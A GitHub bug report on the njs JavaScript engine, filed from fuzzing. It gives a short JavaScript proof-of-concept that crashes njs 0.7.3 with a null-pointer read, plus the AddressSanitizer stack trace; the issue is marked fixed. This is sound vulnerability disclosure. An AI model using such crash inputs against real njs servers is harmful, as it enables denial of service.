

New issue

[Jump to bottom](#)

SEGV src/njs_value.c:240 in njs_value_own_enumerate #485

🔒 Closed

xmzyshypnc opened this issue on Mar 16 · 0 comments

Labels

bug **fuzzer**

xmzyshypnc commented on Mar 16

Environment

OS : Linux leanderwang-LC2 5.13.0-30-generic #33 SMP Mon Feb 7 14:25:10 UTC 2022 x86_64 x86_64 x86_64
 GNU/Linux
 Commit : [f65981b](#)
 Version : 0.7.3
 Build :
 NJS_CFLAGS="\$NJS_CFLAGS -fsanitize=address"
 NJS_CFLAGS="\$NJS_CFLAGS -fno-omit-frame-pointer"

PoC

```
function main() {
  var empty_arr = {};
  var arr1 = [empty_arr];
  var arr2 = new Uint8Array();
  arr2.__proto__ = arr1;
  var arr3 = arr2.splice(..."bigint");
  Promise.valueOf = arr3;
  var v9 = Array(0x200000000000000);
}
main();
```

Stack dump

AddressSanitizer:DEADLYSIGNAL

```
=====
==2523460==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x555b64452f1c bp 0x7f
==2523460==The signal is caused by a READ memory access.
==2523460==Hint: address points to the zero page.
#0 0x555b64452f1b in njs_value_own_enumerate src/njs_value.c:240
#1 0x555b6448d019 in njs_object_traverse src/njs_object.c:1230
#2 0x555b644df091 in njs_builtin_match_native_function src/njs_builtin.c:726
#3 0x555b644d26cb in njs_add_backtrace_entry src/njs_error.c:1309
#4 0x555b644d26cb in njs_error_stack_new src/njs_error.c:102
#5 0x555b644d26cb in njs_error_stack_attach src/njs_error.c:161
#6 0x555b6446455e in njs_vmcode_interpreter src/njs_vmcode.c:985
#7 0x555b644bbaba in njs_function_lambda_call src/njs_function.c:703
#8 0x555b644620fb in njs_vmcode_interpreter src/njs_vmcode.c:788
#9 0x555b6445c0ba in njs_vm_start src/njs_vm.c:553
#10 0x555b644453f8 in njs_process_script src/njs_shell.c:890
#11 0x555b64445ebf in njs_process_file src/njs_shell.c:619
#12 0x555b6444721f in main src/njs_shell.c:303
#13 0x7f301e32b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
#14 0x555b64442c4d in _start (/home/wz/njs/njs/build/njs+0x4bc4d)
```


AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/njs_value.c:240 in njs_value_own_enumerate
==2523460==ABORTING



Credit

xmzyshypnc(@xmzyshypnc) and P1umer(@P1umer)

 xeioex added **bug** **fuzzer** labels on Apr 6

 nginx-hg-mirror closed this as completed in [2e00e95](#) on Apr 22

 xeioex mentioned this issue on May 6

SEGV src/njs_lvlhsh.c:176 in njs_lvlhsh_find #477

 Closed

Assignees

No one assigned

Labels

bug **fuzzer**

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

